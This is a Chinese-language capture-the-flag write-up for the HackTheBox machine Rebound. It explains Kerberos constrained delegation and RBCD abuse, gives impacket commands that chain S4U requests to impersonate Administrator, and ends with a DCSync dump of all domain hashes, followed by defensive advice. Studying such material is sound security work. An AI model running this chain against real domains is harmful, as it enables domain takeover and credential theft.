Kerberos 链式委派与 RBCD 进阶攻防

来源靶机： https://app.hackthebox.com/machines/Rebound
参考文章： https://0xdf.gitlab.io/2024/03/30/htb-rebound.html#constrained-delegation

1. 核心知识点

• 委派 (Delegation) 的本质：多层架构下的“身份代签机制”，用于解决 Double-Hop 问题。

• S4U 协议栈：

  • S4U2Self：前端服务向 KDC 申请“代表用户”的初始票据（需判断是否带 Forwardable 标签）。

  • S4U2Proxy：利用“证明票据”向 KDC 换取通往特定 SPN 的目标票据。

• RBCD (Resource-Based Constrained Delegation)：资源侧权限控制。通过修改后端资源的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，实现对委派权限的精细化操控。

• 链式委派逻辑：当常规 KCD 因“无协议转换”导致无法申请 Forwardable 票据时，通过 RBCD 制造“伪合法凭证”，再利用 KCD 通道完成身份置换的“接力”过程。

• 票据结构关键点：Flags: Forwardable 是跨资源委派的“通行证”。

2. 使用场景

在实战中，攻击路径的选择通常取决于你手里握有的“原始资产”和目标环境的“防御策略”。权限边界（是否拥有写权限）和防御边界（是否开启协议转换）是影响攻击成功率的最核心因素。

场景一：直接利用目标资源配置 (RBCD 攻击路径)

• 适用环境特征：

  • 权限拥有情况：你对最终目标资源（如 DC01$ 或敏感数据库服务器）拥有修改属性权限（如 GenericWrite 或 WriteProperty）。

  • 环境限制：目标环境对委派路径未做特殊安全加固。

  • 核心逻辑：绕过常规约束委派的路径限制，通过直接给目标资源添加 RBCD 入口，强制 KDC 允许你以任何身份访问它。

• 适用目标：域控制器、高权限管理服务器、文件共享服务器。

场景二：常规 KCD 权限利用 (传统约束委派攻击路径)

• 适用环境特征：

  • 权限拥有情况：你控制了一个服务账户（如 WebServer$），且该账户的 msDS-AllowedToDelegateTo 属性中已经包含了目标服务（如 CIFS/DC01）。

  • 环境限制：该服务账户配置了协议转换 (Protocol Transition)，即允许你进行 S4U2Self 操作。

  • 核心逻辑：最简单的路径，直接利用服务账户的合法委派通路完成身份提升。

• 适用目标：已经被管理员预设了委派关系的中继服务器或应用服务器。

场景三：链式委派（本次靶机场景）

• 适用环境特征：

  • 权限拥有情况：你控制了一个服务账户 A (delegator$)，它具有通往目标 DC 的 KCD 路径，但被配置为“仅限 Kerberos”（无协议转换）。

  • 环境限制：你对目标 DC 没有写权限，无法设置 RBCD，且对账户 A 的 KCD 路径无法直接利用（报错 KDC_ERR_BADOPTION）。

  • 联动条件：你同时拥有对账户 A 的写权限（能改它的 RBCD 属性），并能控制另一个有 SPN 的账户 B (ldap_monitor)。

  • 核心逻辑：利用 B 的 RBCD 能力注入 Forwardable 凭据，以此作为 A 开启 KCD 通道的“触发密钥”。

• 适用目标：存在防御加固、关闭了协议转换功能的混合委派环境。

3. 渗透操作流与关键命令

第一阶段：信息收集与票据诊断

在操作前，先验证票据的有效性和属性。

# 1. 尝试常规委派（模拟 Administrator 访问 DC）
getST.py -spn http/dc01.rebound.htb -impersonate Administrator -dc-ip 10.129.232.31 rebound.htb/delegator$

# 2. 诊断票据属性（若报错，需解析票据查看 Flags）
# 导出票据后查看其是否包含 Forwardable 标志
describeTicket.py delegator.ccache

第二阶段：构建 RBCD 链条

通过修改自身属性，允许 ldap_monitor 委派到 delegator$。

# 1. 使用 impacket-rbcd 将 ldap_monitor 设置为 delegator$ 的合法委派代理
# 需要 delegator$ 的凭据
rbcd.py -delegate-from ldap_monitor -delegate-to delegator$ -action 'write' -dc-ip 10.129.232.31 rebound.htb/delegator$:'[PASSWORD]'

第三阶段：执行链式委派

# 1. 阶段一：由 ldap_monitor 通过 RBCD 制造“带可转发标签的中间票据”
getST.py -spn http/delegator.rebound.htb -impersonate Administrator -dc-ip 10.129.232.31 rebound.htb/ldap_monitor:'[PASSWORD]' -additional-ticket delegator.ccache

# 2. 阶段二：由 delegator$ 执行 S4U2Proxy，换取 DC01 的 ST 票据
getST.py -spn http/dc01.rebound.htb -impersonate Administrator -dc-ip 10.129.232.31 rebound.htb/delegator$ -additional-ticket st1.ccache

第四阶段：成果获取

# 使用获得的 st2.ccache 执行 DCSync 获取域内所有哈希
export KRB5CCNAME=st2.ccache
secretsdump.py -k -no-pass -dc-ip 10.129.232.31 rebound.htb/administrator@dc01.rebound.htb

4. 总结与反思

约束委派与 RBCD 的异同：从“权限落点”到“信任代理”

• 同（协议本质）：无论是 KCD 还是 RBCD，其核心都在于对 S4U2Proxy 协议的利用。S4U2Proxy 本身是一个基于票据转换的“信任转发”机制，它不关心委派配置写在哪里，它只关心 KDC 能否从对应的 AD 属性中找到授权证据。

• 异（逻辑边界）：

  • KCD 是“静态信任路径”：它像是一张预先铺设好的铁路网，权限归属在“前端服务”。其优势是路径明确，劣势是灵活性差，且容易导致权限滥用。

  • RBCD 是“动态信任授权”：它更像是一个“门禁系统”。权限归属在“资源本身”，它打破了“域管垄断”，让资源所有者可以独立管理信任关系。在攻击中，RBCD 的价值在于它将权限修改的操作权下放到了“对资源有写权限的普通用户”，这是造成攻击链形成的最核心变量。

攻击路径选择：从“路径依赖”到“信任重构”

• 跳出单点思维 (Breaking Path Dependency)：

  • 初级攻击者往往只盯着“能直接用什么命令”。例如，发现目标机器没开 RBCD 就放弃了。

  • 真正的精髓在于：理解 AD 内部是由成百上千个属性连接而成的“信任图谱” (Trust Graph)。当你发现 KCD 这条主干道因为“无协议转换”被封死时，不要觉得任务失败而直接放弃，而应将其视为“信道被限流”。

  • 此时，RBCD 不仅仅是一个攻击手段，它是你手中的“焊机”，用来在现有的信任图谱中，通过修改对象属性，焊接出一条本不存在的、直达目标的“临时信任通道”。

• 动态信任重构 (Dynamic Trust Reconstruction)：

  • 链式委派的本质不是攻击某个漏洞，而是构造一个合法的协议闭环。你通过控制一个账户的属性，强行改变了 KDC 对该账户身份的认知，进而诱导 KDC 执行了原本不该发生的票据流转。

防御思路：防御的核心在于“最小化信任面”与“属性审计”

• 防御原则：最小化委派特权 (Principle of Least Delegation)：

  • 排查 Forwardable 滥用：严禁无业务需求的账户开启“无协议转换”委派。如果服务支持，应强制使用 S4U2Self 以外的认证方式。

  • 敏感账户保护：对于高权限账户（如域管、企业管理员），必须在 AD 属性中勾选 “敏感账户，无法委派 (Account is sensitive and cannot be delegated)”，这能在协议层直接废掉委派攻击。

• 权限分层与属性监控：

  • 写权限管控：防御者往往只关注“谁可以登录”，却忽视了“谁可以修改对象的 msDS-AllowedTo... 属性”。应定期审计域内对象的 WriteProperty 权限，特别是针对拥有 SPN 的账户。

  • 异常流量监控：S4U2Self 和 S4U2Proxy 的请求日志在域控上是非常明显的。如果在短时间内有服务账户频繁发起对域控的异常请求，即使票据最终未生效，也应视为严重的安全告警。